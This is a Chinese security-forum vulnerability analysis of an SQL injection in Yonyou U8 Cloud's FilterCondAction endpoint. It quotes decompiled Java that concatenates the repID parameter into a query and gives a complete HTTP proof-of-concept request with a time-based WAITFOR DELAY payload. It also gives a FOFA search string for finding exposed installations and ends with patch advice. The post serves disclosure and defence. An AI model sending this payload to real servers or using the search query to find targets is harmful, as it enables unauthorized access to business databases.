奇安信攻防社区-用友U8 Cloud系统FilterCondAction方法SQL注入漏洞分析

用友U8 Cloud系统FilterCondAction方法SQL注入漏洞分析

用友U8 Cloud系统FilterCondAction方法存在SQL注入漏洞，攻击者可获取数据库敏感信息

一、漏洞简介
------

用友U8 Cloud系统`FilterCondAction`方法存在SQL注入漏洞，攻击者可获取数据库敏感信息

二、影响版本
------

1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp

三、漏洞原理分析
--------

首先看漏洞位于`FilterCondAction`接口处，方法的完整路径为`nc.ui.bi.report.rep.FilterCondAction`

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-f08d85cabc09111a52e8ec7bf038c80943078219.png)

这里只关注下面的execute方法，完整代码如下

```php
public ActionForward execute(ActionForm actionForm) {  
    FilterCondForm form = (FilterCondForm)actionForm;  
    String repID = getRequestParameter("repID");  
    AdhocModel adhocModel = (AdhocModel)BIWebRepUtil.getRepModel((IUFOAction)this, repID);  
    if (adhocModel == null)  
      return (ActionForward)new ErrorForward(StringResource.getStringResource("mbirep0007"));   
    form.setRepID(repID);  
    FilterValueDescriptor fvd = null;  
    IAdhocAnalyzer[] anas = adhocModel.getDataCenter().getAnalyzerModel().getAnalyzerByType(0);  
    if (anas != null && anas.length > 0) {  
      FilterValueAnalyzer fva = (FilterValueAnalyzer)anas[0];  
      if (fva.getFilterValueDescriptor() != null)  
        try {  
          fvd = (FilterValueDescriptor)fva.getFilterValueDescriptor().clone();  
        } catch (CloneNotSupportedException e) {  
          AppDebug.debug(e);  
        }    
    }   
    if (fvd == null)  
      fvd = new FilterValueDescriptor();   
    IColumnData[] refFields = getRefFields(repID);  
    if (refFields == null || refFields.length == 0)  
      return (ActionForward)new ErrorForward(StringResource.getStringResource("mbirep0008"));   
    FilterCondTableModel model = new FilterCondTableModel(fvd, refFields);  
    form.setFilterCondTableModel(model);  
    addSessionObject(getClass().getName(), fvd);  
    ActionForward actionForward = new ActionForward(FilterCondDlg.class.getName());  
    return actionForward;  
}
```

首先是方法接收传参`repID`，然后直接调用`repID`的有两个方法

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-030882085913f87bdc47bca02a9f202ea7b7e18c.png)  
先来看第一个，追踪进入`getRepModel`

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-3aeb4a9f7e7379347d0b4c794135b503f8a48bcf.png)

可以看到`repID`又进入了下面的`loadRepModelFromDB`方法当中，追踪方法来到其中

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-cb724844eea37250358e7e106a7c7895869c9c07.png)

最后`repID`是进了getByIDs方法当中，最终来到漏洞点

![a5a083d8-0c92-48be-a7cf-f49e71cdde00.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-fc002221fc9f490192ca4266b234bff18f0600bb.png)

代码如下

```php
public ValueObject[] getByIDs(String[] strIDs) throws ReportMngException {  
    int iLen = (strIDs == null) ? 0 : strIDs.length;  
    String sWhere = null;  
    if (iLen != 0) {  
      StringBuffer sbWhere = new StringBuffer();  
      sbWhere.append("pk_reportmodel in (");  
      for (int i = 0; i < iLen; i++) {  
        sbWhere.append("'").append(strIDs[i]).append("' ");  
        if (i < iLen - 1) {  
          sbWhere.append(",");  
        } else {  
          sbWhere.append(")");  
        }   
      }   
      sWhere = sbWhere.toString();  
    }   
    ReportVO[] vos = null;  
    try {  
      vos = (ReportVO[])ReportBO_Client.query(sWhere, DimRescource.UFBI_DATASOURCE);  
    } catch (Exception e) {  
      handleException(e);  
    }   
    return (ValueObject[])vos;  
}
```

分析下，这个漏洞其实和我之前分析的华天动力OA的SQL注入一样，都是append方法拼接SQL语句，恶意语句可以闭和最后的`)`号导致的

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-58069f169e075cebc9a1ac715853e746739e6677.png)  
方法中使用`pk_reportmodel in ('+repID+')`这样拼接SQL，就造成了SQL注入漏洞

再根据用友U8 Cloud特性，请求前缀为`/service`和`/servlet`前缀的都经过`NCInvokerServlet`方法处理，通过获得url路径后，如果是以`/~`开头，截取第一部分为`moduleName`，然后再截取第二部分为`serviceName`，再根据`getServiceObject(moduleName, serviceName)`实现任意`Servlet`的调用

该漏洞的请求URL如下

```php
/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.bi.report.rep.FilterCondAction&method=execute&repID=1%27);WAITFOR+DELAY+%270:0:5%27--
```

四、总结
----

用友U8 Cloud系统`FilterCondAction`方法存在SQL注入漏洞，攻击者可获取数据库敏感信息

五、资产测绘
------

FOFA语法

```php
app="用友-U8-Cloud"
```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/02/attach-5e36c98ed7cbf96cab4a4e3d3612aa0e36533812.png)

六、漏洞复现
------

POC

```php
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.bi.report.rep.FilterCondAction&method=execute&repID=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
```

`repID`参数存在注入，使用延时注入验证下，成功延时5秒

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-f44d3157ed5ae2a052de95333251554046028a48.png)

七、修复建议
------

安装用友U8 Cloud最新的补丁并更新到最新版本，对接口添加身份信息验证并修改对应的方法逻辑。

发表于 2025-07-17 09:55:25
阅读 ( 119 )
分类：OA产品

用友U8 Cloud系统FilterCondAction方法SQL注入漏洞分析

0 条评论